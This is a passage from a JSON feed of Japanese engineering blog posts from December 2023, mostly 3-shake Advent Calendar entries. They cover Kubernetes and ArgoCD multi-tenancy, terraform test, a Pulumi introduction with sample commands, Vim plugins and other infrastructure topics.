Tokyo』の登壇資料です\\r\\r・Kubernetesのマルチテナントパターンの種類\\r・ArgoCDのAppProjectテナントとNamespacedスコープモード\\r・ArgoCDのテナントが防いでくれる誤った操作の具体例\\r\\rを紹介しました\\r\\rArgoCDのマニフェストの実装例を解説できませんでしたので、ぜひ元記事 (KubernetesのマルチテナントパターンとArgoCDの実践テナント設計) もご参照ください\uD83D\uDC4D\uD83C\uDFFB\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1737778249021952458","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"【ArgoCD\uD83D\uDC19】\\"Kubernetes Novice Tokyo\\" に登壇","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/12/21/833414","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類ArgoCDのAppProjectテナントとNamespacedスコープモードArgoCDのテナントが防いでくれる誤った操作の具体例発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『KubernetesのマルチテナントパターンとArgoCDの実践テナント設計』ていうテーマで、 Kubernetes Novice Tokyo に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!Kubernetes Novice Tokyo の登壇資料です!キミだけの最強のマルチテナントを作ろう✌️#k8snovicehttps://t.co/qNEhnkA7WZ— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) December 21, 2023 ちな、発表内容の詳細はこの記事をみてくれよな!","isoDate":"2023-12-21T03:00:00.000Z","dateMiliSeconds":1703127600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"ddc.vimを使ってmakeやGinなどのExコマンドの補完を実現する","link":"https://blog.atusy.net/2023/12/20/ddc-fish-alias-completion/","contentSnippet":"ddc.vimは自動補完プラグインの1つです。新世代の自動補完プラグイン ddc.vimコマンドライン補完にも対応しており、組込みの補完よりも補完候補のソースやマッチング、ソーティングにおいて、高い柔軟性を持ちます。","isoDate":"2023-12-20T00:00:00.000Z","dateMiliSeconds":1703030400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テーブル構造変更に伴う認可・権限管理を設計実装してみて思ったこと","link":"https://qiita.com/bayobayo0324/items/a2fcc5eee9930bd2009a","contentSnippet":"※この記事は3-shake Advent Calendar 2023の20日目の記事ですはじめまして、@bayobayo0324 です。株式会社スリーシェイクでクラウド型データ連携ツール「Rec…","isoDate":"2023-12-19T22:00:39.000Z","dateMiliSeconds":1703023239000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"RでR言語をパースする","link":"https://blog.atusy.net/2023/12/19/r-parsed-data/","contentSnippet":"R言語 Advent Calendar 2023の19日目の記事です。ggplot2で標準偏差付きの折れ線グラフを描く」でした。可視化大事。2023年、ずいぶんとRを触ることが減りました。ftExtraなどのパッケージの更新をほそぼそとやってます。","isoDate":"2023-12-19T00:00:00.000Z","dateMiliSeconds":1702944000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 細かい挙動","link":"https://zenn.dev/kyohei_saito/articles/eac62818b7217d","contentSnippet":"この記事は 3-shake Advent Calendar 2023 19 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能terraform test: 応用機能terraform test: 細かい挙動 <- 今ここ はじめに前回の記事では、 terraform test の応用的な機能の紹介をしました。この記事では、 terraform test の挙動について説明します。 terraform test: 細かい挙動 state...","isoDate":"2023-12-18T14:58:00.000Z","dateMiliSeconds":1702911480000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"KubernetesとCoreDNSについて理解する","link":"https://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru","contentSnippet":"3-shake SRE Tech Talk #8 で発表したLT資料です\\r\\rイベントURL: https://3-shake.connpass.com/event/302755/\\r動画URL: https://www.youtube.com/watch?v=8JbfniqxNQk\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \\rhttps://github.com/coredns/coredns/tree/v1.11.1 \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \\rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \\rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \\rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"bells17","authorId":"bells17"},{"title":"2023-12-18 SRETT8 Terraform使いがPulumiに入門する","link":"https://speakerdeck.com/masasuzu/2023-12-18-srett8-terraformshi-ikapuluminiru-men-suru","contentSnippet":"","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"VimのOperator待機モードでexclusive motionをinclusiveに使う","link":"https://blog.atusy.net/2023/12/18/vim-convert-exclusive-motions-into-inclusive/","contentSnippet":"Vimアドベントカレンダー2023の12/18の記事です。ryoppippiさんによる「Vimで人生が豊かになった話」(2023/12/18 22:25時点で未投稿)atusyによる「Vimで無名レジスタでchange/delete/yankした時に、イニシャルに相当するレジスタにも値を入れる」Vimのモーションのinclusive/exclusive、なかなか意識する場面が少ないですね。","isoDate":"2023-12-18T00:00:00.000Z","dateMiliSeconds":1702857600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 応用機能","link":"https://zenn.dev/kyohei_saito/articles/52ce184522aae9","contentSnippet":"この記事は 3-shake Advent Calendar 2023 18 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能terraform test: 応用機能 <- 今ここterraform test: 細かい挙動 はじめに前回の記事では、 terraform test の基本的な機能の紹介をしました。前回の記事の内容でも十分に terraform module のテストを書くことができると思います。しかし、今回紹介する応用的な機能を使...","isoDate":"2023-12-17T14:58:00.000Z","dateMiliSeconds":1702825080000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"AWS Step Functionsを利用してAWSリソースの自動起動停止を行う","link":"https://qiita.com/ys1/items/21744f39676286b2c321","contentSnippet":"概要本記事ではStep Functionsを利用して、AWSリソースを自動で起動停止する方法について記載します。主にコスト削減のために、開発環境を夜間停止するなどで利用することを想定しています。今回は以下のようなことを実施する方法について説明しま…","isoDate":"2023-12-17T14:55:57.000Z","dateMiliSeconds":1702824957000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"個人開発で要件定義、設計をした話","link":"https://kechigon.hatenablog.com/entry/2023/12/17/142140","contentSnippet":"現在、個人開発で麻雀戦績管理アプリを作っていて、要件定義や設計について考えたことを共有したいと思います。GitHub ↓github.comなぜやったのか自分はWebエンジニアを目指している大学生ですが、まともなWebアプリを開発した経験がなく、フロントからインフラまでフルスタックで開発しようと思い立ちました。最初は何をするか手探りの状態でしたが、その「何をするのか」を定義するために要件定義、設計から始めました。何をやったのかGitHubにissueを作成し、やるべきことを明確化していきました。要件定義ここではアプリケーションの機能や、なぜそのような機能にするのかを箇条書きしていきます。この作業を通してやることとやらないことが明確化され、実装もうっすら浮かんできます。実際の要件定義は以下のような感じになりました。- ユーザーはまずサインアップする - ユーザー名、パスワードを設定する - ユーザー名は一意でないといけない - ユーザの削除機能はデータ整合性が複雑になるので作らない - サインアップ済みのユーザーはログインをする - ユーザー名、パスワードを入力- セッション管理をし、セッションが張られていたらログインを省略し、ユーザーホーム画面に入る。- 親ユーザーが部屋を作り、他のユーザーを登録していく - 作成できる部屋は10部屋まで - 親は参加のためのパスワードを設定する - 子は親に部屋IDとパスワードを共有してもらう - 3人以上いないと対局結果は登録できない、四麻は四人 - 部屋の削除機能も必要- 各部屋のホーム画面では各部屋での自分の戦績が表示される- オフラインで対局した点数結果とそのユーザーと何家かをアプリに登録する - 点数結果だけでいいの? - 毎回上がり役とかを登録してると、面倒くさいと思う - 三麻も登録できるようにする。 - 点数の合計点を計算し、ユーザーの入力をチェックする - 同点の場合は、東寄りが上位- 取り消し機能も必要 - 「対局」という粒度で削除できるようにする。これは点数とユーザを登録したひと塊。 - 間違えてもその「対局」を消し、また新しい「対局」を作ればいい - 自分または同じ部屋のユーザーの成績を確認できるようにする - 平均順位 - 一位率 - 二位率 - 三位率 - 四位率 - とび率 - 対局数 - 平均得点 - 各項目のランキングも出す - 「n局以上」で検索できるようにする- 対局の登録、削除のたびに個人成績を計算しなおすデータベース設計ER図を書きます。要件定義にあるように今回のアプリではユーザーのログイン機能や、そのユーザーが作成、参加する部屋、その部屋ごとの戦績など、テーブルが複雑にリレーションを張るので設計に入る前に整理することができます。ある程度機能を盛り込む予定の個人開発では必須でしょう。画面遷移画面遷移図を書きます。ページとその機能、ページ同士の遷移を定義します。ここで定義したことはすなわちユーザーアクションのすべてなので、ユーザーアクションごとのテストがしやすくなります。実際の画面遷移図↓以上のような要件定義、設計を行うことで、実装での手戻りが少なくなり、快適に実装ができました。これからアプリケーション自体はほとんど完成しているので、コンテナ化し、それをECSやCloud Runにデプロイし、運用していく予定です!","isoDate":"2023-12-17T05:21:40.000Z","dateMiliSeconds":1702790500000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"Vimで無名レジスタでchange/delete/yankした時に、イニシャルに相当するレジスタにも値を入れる","link":"https://blog.atusy.net/2023/12/17/vim-easy-to-remember-regnames/","contentSnippet":"Vim Advent Calendar 2023の12/17の記事です。mattnさんによる「Vim で SQL を素で編集してるの?」Vimのレジスタ、使いこなしてますか?とっても沢山種類があります。","isoDate":"2023-12-17T00:00:00.000Z","dateMiliSeconds":1702771200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 基本機能","link":"https://zenn.dev/kyohei_saito/articles/a32b5a11c81e97","contentSnippet":"この記事は 3-shake Advent Calendar 2023 17 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能 <- 今ここterraform test: 応用機能terraform test: 細かい挙動 terraform test とはなにか 概要terraform test は Terraform module を実際に plan / apply して動作を確認するツールです。ドキュメントにも明記されている通り、主な使...","isoDate":"2023-12-16T14:58:00.000Z","dateMiliSeconds":1702738680000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"Terraform使いがPulumiに入門しました","link":"https://blog.masasuzu.net/entry/2023/12/16/000000","contentSnippet":"この記事は3-shake Advent Calendar 2023の16日目の記事です。qiita.comこの内容はSRETT #8で発表した内容に補足しています。3-shake.connpass.com 前提語らないことモチベーションPulumiとは対応言語PulumiのアーキテクチャPulumiのコンポーネントPulumi CloudPulumi Cloud 料金Pulumi操作方法PulumiインストールPulumi CloudへログインProjectの作成変更を確認Stackデプロイリソース削除state操作Terraformからの移行TerraformとPulumiを共存する(tfstateを参照)tfstateからインポートterraformからコード変換まとめ前提筆者は以下の背景を持っています。普段はAWSをメインに触っている普段はTerraformをメインで使ってるPulumiはプロダクションでは使ったことがないちゃんとは把握できてない語らないこと以下のようなPulumi以外の基本的なことは語りませんIaCとは概要、特徴、メリット・デメリットTerraformとは概要、特徴、メリット・デメリット、操作方法モチベーションなんでPulumiを今回調べようかと思った動機について書こうと思います。Terraformの記述力に限界を感じていたというところが大きいです。以下の点がつらいかなと思っていたところです。足りない関数二重ループのためのModule使用分岐処理のためのcountと三項演算子とはいえ、記述力が低いからこそ複雑なことを抑制できて可読性が上がっている面もあると思います。冗長でも、可読性が高いというのはメリットではあります。他の選択肢としては以下のものがあるかと思います。CDKAWSに限定されるCDKTF(CDK for Terraform)結局terraformのJSONコードに変換されるので、terraformに依存しますそれ自体は悪くないが、どうせならTerraformから離れたものを学びたいそこでなにか良いものがないかと思い当たったところにPulumiがあったので調べてみようとなりました。PulumiとはPulumiはプログラミング言語でインフラを構築可能なプロビジョニングツールです。Terraformと同じようにProviderを通して複数のクラウドに対応しています。TerraformはHCLという宣言的言語を使用するのに対し、Pulumiは汎用的なプログラミング言語を使用してインフラリソースを定義します。Pulumi - Infrastructure as Code in Any Programming Language対応言語TypeScript & JavaScript (Node.js)PythonGoC#, VB, F# (.NET)JavaPulumi YAML参考: Pulumi Languages & SDKs | Pulumi DocsPulumiのアーキテクチャ以下のようの構成になっています。参考: How Pulumi Works | Pulumi DocsLanguage hostインフラリソースの定義を Program (後述)として好きな言語で定義します。Deployment Engine希望する状態に変更するための操作セットを実行する役割を果たします。Resource Providerクラウドサービスとの通信を処理して、Programで定義したリソースの変更処理を行います。上記の例だと、Programにリソースの定義がある場合、Stateと比較して、管理されているリソースであるかを確認します。存在すれば、プロバイダーを通して実際のクラウドのリソースの状態と比較して差分があれば適用。存在しない場合、プロバイダーを通してリソースを作成。PulumiのコンポーネントWhat is Pulumi? | Pulumi DocsPulumiのコンポーネントは以下のようになっています。ProjectProgramのソースコードとメタデータ(Programの実行方法)を格納したディレクトリProgramインフラのあるべき姿を定義したものResourceインフラを構成するオブジェクト。ResourceのプロバティはOutputとして他のResourceのInputに使用することができますStackProgramを実行すると作成されるインスタンス。同一のProgramから開発、ステージング、本番環境のStackを個別に作成することができます。Pulumi CloudTerraform Cloudのようなものと考えていただいて良いです。デプロイの状態、履歴やシークレットを管理して、CI/CDやGitHubと連携してデプロイを実行することもできます。Pulumi CLIはバックエンドを明示的に指定しない限りはでデフォルトでPulumi Cloudを使用します。Terraformはデフォルトでlocalバックエンドを使用します。以下はPulumi Cloudの画面です。Pulumi Cloud 料金個人で使う限りは無料で使用することができます。※2023/12/18現在Pulumi操作方法ここからPulumiの操作方法を見て行きたいと思いますPulumiインストール個人的にはバージョン管理したいのでasdfでインストールします。brewでもインストールできます。# .tool-versionspulumi 3.97.0 asdf installPulumi CloudへログインデフォルトではPulumi Cloudへログインします。以下のコマンドを実行するとブラウザが起動するので、ログイン処理をします。pulumi loginPulumi Cloudを使わず、ローカルにstateを保存したい場合は以下のとおりです。pulumi logoutpulumi loign --localProjectの作成pulumi new コマンドで新しいProjectを作成できます。同時にStackも作成されます。引数にテンプレートを指定できます。ウィザード形式で設定をすることができます。以下の例は awsプロバイダーを使用して、言語はTypeScriptを使用するテンプレートとなります。ディレクトリ内にはPulumi実行に必要な各種ファイルが生成されます。ここで見るべきは以下の3ファイルです。Pulumi.yamlプロジェクト設定Pulumi.dev.yamlStack(dev)設定index.tsリソース定義# Pulumi.yamlname: sampleruntime: nodejsdescription: A minimal AWS TypeScript Pulumi program# Pulumi.dev.yamlconfig:aws:region: us-east-1// index.tsimport * as pulumi from \\"@pulumi/pulumi\\";import * as aws from \\"@pulumi/aws\\";import * as awsx from \\"@pulumi/awsx\\";// Create an AWS resource (S3 Bucket)const bucket = new aws.s3.Bucket(\\"my-bucket\\");// Export the name of the bucketexport const bucketName = bucket.id;変更を確認plumi preview コマンドでStackの変更差分を確認できます。 terraform plan を似ていますが、こちらは差分の詳細は表示されません。Stackデプロイpulumi up コマンドでStackをデプロイできます。 terraform plan と terraform apply を組み合わせた挙動になります。実行すると選択肢が出ます。details を選択すると変更差分の詳細が表示されます。yesを選択すると、変更が適用されます。リソース削除pulumi destroy でStackを削除できます。pulumi up と同じようにdetailsで詳細表示、 yes で削除実行ができますstate操作PulumiではStackごとにStateが保存されています。Stateを操作するコマンドは以下のとおりです。state出力(terraform state pull 相当 )pulumi stack exportstate インポート(terraform import相当)pululmi import state 削除(terraform state rm 相当)pulumi state delete Terraformからの移行Terraformからの移行オプションは以下の通りとなります。terraformとPulumiを共存するPulumiからtfstateを参照するtfstateからリソースをPulumiへインポートするTerraformのコードをPulumiのコードに変換する参考: Adopting Pulumi | Pulumi Docs参考: Migrating from Terraform | Pulumi DocsTerraformとPulumiを共存する(tfstateを参照)networkリソースに関しては既存のterraformを使いつつ、そのoutputをPulumiで使うイメージになります。以下のようなコードでlocalのtfstateが参照できるので、値を参照して利用することができます。import * as aws from \\"@pulumi/aws\\";import * as terraform from \\"@pulumi/terraform\\";// Reference the Terraform state file:const networkState = new terraform.state.RemoteStateReference(\\"network\\", { backendType: \\"local\\", path: \\"/path/to/terraform.tfstate\\",});// Read the VPC and subnet IDs into variables:const vpcId = networkState.getOutput(\\"vpc_id\\");const publicSubnetIds = networkState.getOutput(\\"public_subnet_ids\\");// Now spin up servers in the first two subnets:for (let i = 0; i < 2; i++) { new aws.ec2.Instance(`instance-${i}`, { ami: \\"ami-7172b611\\", instanceType: \\"t2.medium\\", subnetId: publicSubnetIds[i], });}tfstateからインポートpulumi import --from terraform ./terraform.tfstate のようにすることによってtfstateからリソースをインポートすることができます。terraformからコード変換pulumi convert --from terraform コマンドを使用することで、既存のTerraformのコードをPulumiのコードに変換することができます。ただし、変換できないコードはTODOコメントが付く。90%~95%は変換が対応しているとのこと。pulumi convert --from terraform --language typescriptまとめPulumiの概要と基本操作をTerraformと対比しながら説明してきました。新規プロジェクトである程度複雑な処理をしたい。プログラミング言語に精通している人がメンバーにいる。そういった場合にはPulumiは良さそうに思えます。しかしながら、ある程度Terraformで出来上がっているプロジェクトをPulumiに移行するのはそれなりに大変なので、プロジェクトの規模感とコストに見合うかを考えて導入するか考えると良いでしょう。また、複雑なことをしたいというのは、本当に必要とされていることなのでしょうか?冗長でも簡易的な書き方をした方が望ましい場合もあるかと思います。そのあたりの目利きをちゃんと考えたいところです。自分自身まだまだ使いこなせていないですし、追いきれてないPulumiのトピックもあるので、今後も選択肢の一つとして調べていきたいところです。","isoDate":"2023-12-15T15:00:00.000Z","dateMiliSeconds":1702652400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"sbt-github-acitons を使った CI の構築とプロジェクトの publish について","link":"https://zenn.dev/nomadblacky/articles/4c6a03aa5289c4","contentSnippet":"この記事は Scala Advent Calendar 2023 15日目 の記事です。 導入Scala プロジェクトを GitHub で開発する際には GitHub Actions を使用して CI を構築することが多いと思います。また、ライブラリの開発の場合は Maven Central に publish することも考えたいです。しかし、プロジェクトそれぞれに対応した GitHub Actions を構築するのは専門知識も必要で手間のかかる作業です。今回は sbt-github-actions という sbt プラグインを使用して、Scala プロジェクトの CI と ...","isoDate":"2023-12-15T03:00:00.000Z","dateMiliSeconds":1702609200000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"VPC エンドポイントポリシーで S3 バケットを制限する際の落とし穴","link":"https://zenn.dev/toshikish/articles/e846fa0c3de10f","contentSnippet":"状況設定AWS の VPC エンドポイントポリシーで VPC 内部から Amazon S3 バケットへのアクセスを制限するために,以下のようなエンドポイントポリシーを設定するとします。s3-vpc-endpoint-policy.json{ \\"Version\\": \\"2012-10-17\\", \\"Statement\\": [ { \\"Effect\\": \\"Allow\\", \\"Principal\\": \\"*\\", \\"Action\\": \\"s3:*\\", \\"Resource...","isoDate":"2023-12-14T22:00:00.000Z","dateMiliSeconds":1702591200000,"authorName":"toshikish","authorId":"toshikish"},{"title":"拝啓、CSSでドット絵を描きたくなったあの日(数週間前)の自分へ","link":"https://zenn.dev/nedoko_dok0dko/articles/c00b941f10501f","contentSnippet":"※ 3-shake Advent Calendar 2023の15日目のエントリー記事です。※ 12/21追記: CSS Advent Calendar 2023の21日目のエントリー記事として追加しました。投稿期間とズレてしまっていますが、CSSアドベントカレンダー盛り上がりの一助になればと思います。今年は数年離れていたデータエンジニアを再スタートし、データ基盤構築やGoogleCloudのProfessional試験を受けて合格したり…とテッキーな事に触れることが多い年でした。最近はDBやSRE領域に触れる機会もあり、自分の知識不足に凹みながらも「今は学ぶ時期だ」と1つずつ知識...","isoDate":"2023-12-14T15:31:58.000Z","dateMiliSeconds":1702567918000,"authorName":"seno","authorId":"seno"},{"title":"Karpenter を Amazon EKS で使う","link":"https://sreake.com/blog/karpenter-with-amazon-eks/","contentSnippet":"はじめに Kubernetes のノードのオートスケーラーである Karpenter は,Amazon EKS クラスタでの利用を中心に普及しつつあります。 Karpenter を調べてみた・使ってみた系記事はたくさんあ […]The post Karpenter を Amazon EKS で使う first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-14T05:17:05.000Z","dateMiliSeconds":1702531025000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Partner Top Engineer 2024 になりました","link":"https://sreake.com/blog/earn-google-cloud-partner-top-engineer-2024/","contentSnippet":"はじめに 今回、ありがたいことに、 Google Cloud Partner Top Engineer 2024(以降PTE)になりましたのでその軌跡をまとめます。 コチラの資料によって PTE になりたい人が増えてくれ […]The post Google Cloud Partner Top Engineer 2024 になりました first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-14T05:15:38.000Z","dateMiliSeconds":1702530938000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWS Fault Injection Service で EKS の障害テストを行う","link":"https://zenn.dev/kyohei_saito/articles/6d1bcc1fe8610e","contentSnippet":"この記事は 3-shake Advent Calendar 2023 14 日目の記事です! この記事に書いてあることこの記事では、AWS Fault Injection Service をつかって、EKS 上の Pod の障害テストを行う方法を説明します。この記事を書こうと思ったモチベーションとして、EKS 上のアプリケーションで障害テストをするために AWS Fault Injection Service (以降、「FIS」と記載します) を使用しようとしたところ、導入手順がいまいち分からなかったため、残しておこうと思ったためです。EC2 に障害を注入する場合は導入手順はシ...","isoDate":"2023-12-13T22:22:00.000Z","dateMiliSeconds":1702506120000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"[Kubernetes 1.27] Pod 停止時のフェーズ遷移の変更","link":"https://zenn.dev/toversus/articles/88ce2ea66b532d","contentSnippet":"Kubernetes 1.27 で KEP-3329: Retriable and non-retriable Pod failures for Jobs の一部として実装された [k/k#115331]: Give terminal phase correctly to all pods that will not be restarted により、Pod 停止時のフェーズが Running から Succeeded か Failed に遷移するようになりました。しかし、この変更が以下の予期せぬ問題を引き起こすことになります。[k/k#117018]: daemonset stuc...","isoDate":"2023-12-13T00:43:43.000Z","dateMiliSeconds":1702428223000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"telescope.nvimによるjumplistをちょっと便利にするテク","link":"https://blog.atusy.net/2023/12/12/telescope-jump-list/","contentSnippet":"Vimアドベントカレンダー12/10の記事です。Omochiceさんによる「使っているvimプラグインの棚卸し(2023冬)」KaitoMuraokaさんによる「初心者向けに何か」(2023/12/23 9:54時点で未投稿)TelescopeはNeovimにおけるFuzzy Finderのデファクトの座を勝ち取っていると思います。便利な一方、痒いところに手を出すと途端に難解でundocumentedなAPIに手を出す羽目になります……。","isoDate":"2023-12-12T00:00:00.000Z","dateMiliSeconds":1702339200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Helmfile でちょっとしたリソースを追加したい","link":"https://zenn.dev/toshikish/articles/5ead548816e618","contentSnippet":"動機Helmfile で公式のチャートをインストールしていて,追加で関連リソースを追加したいことがあります。関連リソースの数が多い,内容が環境によって変わるなどの場合は,カスタムチャートを追加することになるでしょう。ただ,そこまで複雑ではない,関連リソースが数個レベルの場合,カスタムチャートだと大げさに感じることがあります。そこでどうすべきか迷っていたところ,同僚の toVersus さんに別の方法を教えていただきました。 extraTemplates 系の変数を使うHelm チャートによっては extraTemplates や extraObjects といった変数が...","isoDate":"2023-12-11T10:57:21.000Z","dateMiliSeconds":1702292241000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Amazon S3 バケットの terraform destroy に注意","link":"https://zenn.dev/toshikish/articles/190fe076cc63f4","contentSnippet":"TL;DRAmazon S3 バケットを削除する前には,必ずすべてのオブジェクトを削除しよう。aws_s3_bucket リソースの force_destroy 引数 を true にしてもよい。terraform destroy で削除すると,パブリックアクセスできる旨のアラートが出る場合があるので注意しよう。aws_s3_bucket_public_access_block リソースを terraform state rm するとアラートが出ない。マネジメントコンソールから削除してもアラートは出ない。 S3 バケットの terraform dest...","isoDate":"2023-12-11T09:03:06.000Z","dateMiliSeconds":1702285386000,"authorName":"toshikish","authorId":"toshikish"},{"title":"sqldefとpgrollを利用したPostgreSQLでのスキーマブルーグリーンデプロイメント","link":"https://zenn.dev/nnaka2992/articles/blue_grean_on_postgres_with_sqldeff_and_pgroll","contentSnippet":"この記事はこのエントリー以下のアドベントカレンダーの11日目の記事です。3-shake Advent Calendar 2023昨日はtoyb0xによるTODOコメントをチケット管理するためのESLint Custom Ruleでした。PostgreSQL Advent Calendar 2023昨日は@ozozatyによるPostgreSQLのjsonb型でJSONパス式(JSONPath)を使うでした。 はじめにPostgreSQLではDDLはその性質からテーブルレベルでロックを取得してしまいます。SREやPlatform EngineeringなどDev...","isoDate":"2023-12-10T23:30:00.000Z","dateMiliSeconds":1702251000000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitLab CIでKICSを実行する","link":"https://zenn.dev/tayusa/articles/d28865c5ce49c6","contentSnippet":"やることTerraformの静的解析を行うKICSの結果をgitlab-commentでMRに出力するhttps://github.com/yuyaban/gitlab-commentKICSの結果を基にMRにReviewdogで指摘するhttps://github.com/reviewdog/reviewdog KICSの実行$ kics scan --config kics.yamlkics.yamlpath: \\".\\" # 解析するTerraformの場所output-path: \\".\\" # 結果の出力先report-formats:...","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Golangでk8s Deploymentを再起動させる","link":"https://zenn.dev/tayusa/articles/a7df40b7d6fd5b","contentSnippet":"やることclient-goを使って複数のDeploymentを同時に再起動させる Golang Deploymentの取得Pod内であればrest.InClusterConfig()でPodのServiceAccountを使用するconfigを取得できるclientset.AppsV1().Deployments(namespace).Get(ctx, deploymentName, metav1.GetOptions{}) でDeploymentを取得NamespaceとDeploymentの名前が必要k8s.gopackage maini...","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"denops製VimプラグインでDenoのバージョンとキャッシュ位置を固定する","link":"https://blog.atusy.net/2023/12/10/denops-cache/","contentSnippet":"Vimアドベントカレンダー12/10の記事です。nil2さんによる「Vimのデフォルトキーマップをどのように上書きするか(ノーマルモード)」atusyによる「VimでgfしたらURLをブラウザで開く」さて本題。denops.vimというプラグイン開発エコシステムがあります。denops.vim は JavaScript/TypeScript のランタイムである Deno を利用して Vim/Neovim 双方で動作するプラグインを作るためのエコシステムです。https://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"TypeScript で LangChain の最初の一歩","link":"https://zenn.dev/satohjohn/articles/9415f85be332e6","contentSnippet":"このエントリーは 3-shake Advent Calendar 2023 の10日目の記事です。今年は Python をガッツリ触ったり、 LLM などの方面に手を出してきており、新しいことにまみれております。その中で LLM のシステム作るんだったら Python だろ?っていう中で TypeScript でもちゃんとできるよーっていうことで紹介していきたいと思います。 私が、あんまり Python でアプリ作っていくのが好きじゃないのもありますもちろん、 Python よりも TypeScript のほうが機能が少なめではありますので、そのあたりは、目をつぶっております。今...","isoDate":"2023-12-09T15:00:00.000Z","dateMiliSeconds":1702134000000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Mastering Bitcoin Third Editionの紹介","link":"https://speakerdeck.com/shukob/mastering-bitcoin-third-editionnoshao-jie","contentSnippet":"https://cryptocurrency.connpass.com/event/303416/\\r2023年12月9日(土)ビットコインとか忘年会のLTで、同年11月に出版されたMastering Bitcoin Third Editionの紹介をしました。","isoDate":"2023-12-09T05:00:00.000Z","dateMiliSeconds":1702098000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"VimでgfしたらURLをブラウザで開く","link":"https://blog.atusy.net/2023/12/09/gf-open-url/","contentSnippet":"Vimアドベントカレンダー12/9の記事です。NI57721さんによる「長文丸暗記用のVimプラグインを作った話」yasunori0418さんによる「ヘルプから始めるddu」gfはいいぞgfコマンド、便利ですよね。gfと入力すると、そのファイルをバッファに開いてくれます。","isoDate":"2023-12-09T00:00:00.000Z","dateMiliSeconds":1702080000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"今よりちょっとだけ上手く文章を書くコツ","link":"https://qiita.com/kojake_300/items/c5def031a252323fae1c","contentSnippet":"この記事は、3-shake Advent Calendar 2023 9日目のエントリ記事です。技術的な話ではありませんはじめに国語がとても苦手だった私は、社会人になったときに日本語力の無さに…","isoDate":"2023-12-08T22:01:43.000Z","dateMiliSeconds":1702072903000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Terraformのsopsプロバイダーを使用するだけで機密情報は守られるのか","link":"https://blog.masasuzu.net/entry/2023/12/09/014230","contentSnippet":"qiita.comこの記事は、3-shake Advent Calendar 2023の9日目の記事となります。sops プロバイダーとは本当に安心?ドキュメントを調べる挙動を実験する結論ワークアラウンドsops プロバイダーとはcarlpett/terraform-provider-sops: A Terraform provider for reading Mozilla sops filesDocs overview | carlpett/sops | Terraform | Terraform RegistrysopsプロバイダーはMozilla sopsを使用して暗号化されたファイルから機密情報を取り出して、terraform上で使用できるようにしたものです。暗号化の鍵をAWS 